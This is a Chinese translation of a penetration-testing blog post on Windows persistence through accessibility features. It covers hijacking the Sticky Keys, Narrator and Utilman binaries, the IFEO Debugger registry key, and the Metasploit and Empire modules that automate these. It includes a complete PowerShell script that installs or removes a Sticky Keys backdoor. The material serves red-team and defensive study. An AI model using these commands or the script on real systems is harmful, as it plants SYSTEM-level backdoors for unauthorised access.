原文地址: https://pentestlab.blog/2019/11/13/persistence-accessibility-features/
Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助残疾人更容易地使用操作系统。然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。
借助辅助功能,最简单的实现持久性的方法是用合法的 cmd.exe 或者其他任何 payload 来替换粘滞键的二进制文件(sethc.exe)。
连按5次 shift 键将启用沾滞键并执行“流氓” sethc.exe,而不是之前的合法的 sethc.exe,该程序会提供提权后的会话或者提权后(SYSTEM)的命令提示符。
在 Windows 10 操作系统中,讲述人是一款屏幕阅读程序,它能够辅助有视力问题的人。Giulio Comi 发现可以通过修改注册表使得讲述人被执行的时候实现无文件的持久化。在执行这一技术之前,Giulio 建议先对主机进行一系列的修改使得讲述人自动启动并降低它的噪音,建议设置如下:
他的博客中首先展示了这一技术,分为两步:
这两个键都是存储在以下位置:
Computer\HKEY_CURRENT_USER\Software\Classes\AppXypsaf9f1qserqevf0sws76dx4k9a5206\Shell\open\command
Metasploit 的 Web Delivery 模块可以用于捕获讲述人功能执行特定命令后获取到的会话。
Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。
use post/windows/manage/sticky_keys
当目标主机的屏幕被锁定时,执行 utilman 工具将会打开一个具有 system 级别权限的命令提示符。
这种方法需要一个高权限的 Meterpreter 会话,并且该系统需要启用远程桌面协议。在大多数组织中该协议是被默认启用的,以便于管理员向用户提供支持并在主机上远程执行任务。如果没有,可以通过以下的 Metasploit 模块来启用:
use post/windows/manage/enable_rdp
如果将辅助功能的二进制文件替换成恶意的 payload,将会返回一个 Meterpreter 会话,而不是一个高权限的 CMD。
和 Metasploit 框架类似,Powershell Empire 也有一个可以实现沾滞键持久化技术的模块。 与 Metasploit 相比,它支持更多的二进制文件(讲述人,放大镜),而且不是用 CMD 去替换,它会修改 debugger 注册表键来存储 powershell 命令并执行 stager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger
以下二进制文件都可以被该 Empire 模块用作后门:
usemodule persistence/misc/debugger/*
利用沾滞键实现持久化的技术是广为人知的,很多威胁者都在网络攻击中使用这一方法。除了 Metasploit 和 Empire 之外,还有一些脚本可以自动化实现这个方法。Preston Thornburg 写了下面这个 powershell 脚本,通过修改注册表来实现权限维持。
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" $keyName = "sethc.exe" $stringName = "Debugger" $binaryValue = "C:\Windows\System32\cmd.exe" IF (Test-Path ($registryPath + $keyName)) { # Sticky Keys backdoor exists. write-host "Registry key found. Let's remove it." #New-Item -Path $registryPath -Name $keyName | Out-Null Remove-Item -Path ($registryPath + $keyName) | Out-Null write-host "Sticky Key backdoor has been removed." } ELSE { # Sticky Keys backdoor does not exist, let's add it. write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry." New-Item -Path $registryPath -Name $keyName | Out-Null New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null write-host "Sticky Keys backdoor added." }
其他实现该技术的脚本,还有一些批处理文件和可执行文件,都来自这个 Github 项目:logon_backdoor
选项 1 将修改 "Debugger" 键来包含命令提示符的路径
连按5下 shift 键将会启用沾滞键并运行一个高权限的 CMD
两个版本都包含一个清理选项,用于删除 "Debugger" 注册表键
Sticky-Keys 项目有一个额外的选项,即为用户提供一个 SYSTEM 权限的控制台。但是这一技术的实现和 logon_backdoor 项目非常相似。